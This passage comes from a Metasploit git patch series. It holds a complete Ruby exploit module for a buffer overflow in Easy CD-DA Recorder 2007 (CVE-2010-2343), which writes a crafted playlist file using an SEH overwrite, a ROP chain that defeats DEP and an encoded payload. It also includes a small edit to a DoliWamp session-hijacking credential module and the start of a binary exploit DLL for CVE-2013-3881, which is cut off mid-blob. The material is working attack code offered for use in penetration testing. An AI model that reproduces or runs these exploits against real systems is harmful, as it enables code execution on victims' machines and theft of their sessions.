include Msf::Exploit::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Easy CD-DA Recorder 2007 PLS Buffer Overflow', + 'Description' => %q{ + This module exploits a stack-based buffer overflow vulnerability in + Easy CD-DA Recorder 2007, caused by a long string in a playlist entry. + + By persuading the victim to open a specially-crafted .PLS file, a + remote attacker could execute arbitrary code on the system or cause + the application to crash. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'chap0', # Vulnerability discovery and original exploit + 'Gabor Seljan' # Metasploit module + ], + 'References' => + [ + [ 'BID', '40631' ], + [ 'EDB', '13761' ], + [ 'OSVDB', '65256' ], + [ 'CVE', '2010-2343' ], + [ 'URL', 'http://www.corelan.be:8800/advisories.php?id=CORELAN-10-048' ] + ], + 'DefaultOptions' => + { + 'ExitFunction' => 'process' + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x0a\x3d", + 'Space' => 2559 + }, + 'Targets' => + [ + [ 'Windows XP SP3 (DEP Bypass)', + { + 'Offset' => 1108, + 'Ret' => 0x1001b19b # ADD ESP,0C10 # RETN 0x04 [audconv.dll] + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Jun 7 2010', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ false, 'The file name.', 'msf.pls']) + ], + self.class) + + end + + def nops + return make_nops(4).unpack("V").first + end + + def exploit + + rop_nop = + [ + 0x1003d55c # RETN (ROP NOP) [audconv.dll] + ].flatten.pack('V*') + + # ROP chain generated by mona.py - See corelan.be + rop_gadgets = + [ + 0x1007261e, # POP EDX # RETN [audconv.dll] + 0x0042a0e0, # &VirtualProtect() [IAT easycdda.exe] + 0x1003bd6b, # MOV EAX,DWORD PTR DS:[EDX] # RETN [audconv.dll] + 0x10035802, # XCHG EAX,ESI # RETN [audconv.dll] + 0x1005d288, # POP EBP # RETN [audconv.dll] + 0x004030c8, # &PUSH ESP # RET 0x08 [easycdda.exe] + 0x1005cc2d, # POP EBX # RETN [audconv.dll] + 0x000009ff, # 0x000009FF-> EBX + 0x1008740c, # POP EDX # RETN [audconv.dll] + 0x00000040, # 0x00000040-> EDX + 0x1001826d, # POP ECX # RETN [audconv.dll] + 0x004364c6, # &Writable location [easycdda.exe] + 0x00404aa9, # POP EDI # RETN [easycdda.exe] + 0x100378e6, # RETN (ROP NOP) [audconv.dll] + 0x0042527d, # POP EAX # RETN [easycdda.exe] + nops, + 0x00429692 # PUSHAD # INC EBX # ADD CL,CH # RETN [easycdda.exe] + ].flatten.pack('V*') + + sploit = rand_text_alpha_upper(target['Offset']) + sploit << generate_seh_record(target.ret) + sploit << rand_text_alpha_upper(80) + sploit << rop_nop + sploit << make_nops(8) + sploit << rop_gadgets + sploit << make_nops(16) + sploit << payload.encoded + sploit << rand_text_alpha_upper(10000) + + # Create the file + print_status("Creating '#{datastore['FILENAME']}' file ...") + file_create(sploit) + + end +end + From 306b31eee345c9171a355116b1b251ba07f002f7 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 10 Feb 2014 13:47:31 -0600 Subject: [PATCH 220/246] Small changes before merging --- modules/auxiliary/gather/doliwamp_traversal_creds.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/doliwamp_traversal_creds.rb b/modules/auxiliary/gather/doliwamp_traversal_creds.rb index 4e11f29069..f53eef3a90 100644 --- a/modules/auxiliary/gather/doliwamp_traversal_creds.rb +++ b/modules/auxiliary/gather/doliwamp_traversal_creds.rb @@ -113,7 +113,7 @@ class Metasploit3 < Msf::Auxiliary vprint_good("#{peer} - Hijacked session for user with ID '#{user_id}'") return user_id else - # print_debug("#{peer} - Could not hijack session. Session is invalid.") + vprint_status("#{peer} - Could not hijack session. Session is invalid.") end end @@ -150,7 +150,7 @@ class Metasploit3 < Msf::Auxiliary # Check for session tokens in 'tmp' # def check - get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown + get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe end def run From 78e1683f2d80c3b18f1a957b206fcfff07b1bd6d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 10 Feb 2014 13:52:27 -0600 Subject: [PATCH 221/246] Add binary compiled on vs2013 --- .../cve-2013-3881/cve-2013-3881.x86.dll | Bin 0 -> 73728 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100755 data/exploits/cve-2013-3881/cve-2013-3881.x86.dll diff --git a/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll b/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll new file mode 100755 index 0000000000000000000000000000000000000000..6745431ff36f7b1163712265f703203073c20259 GIT binary patch literal 73728 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 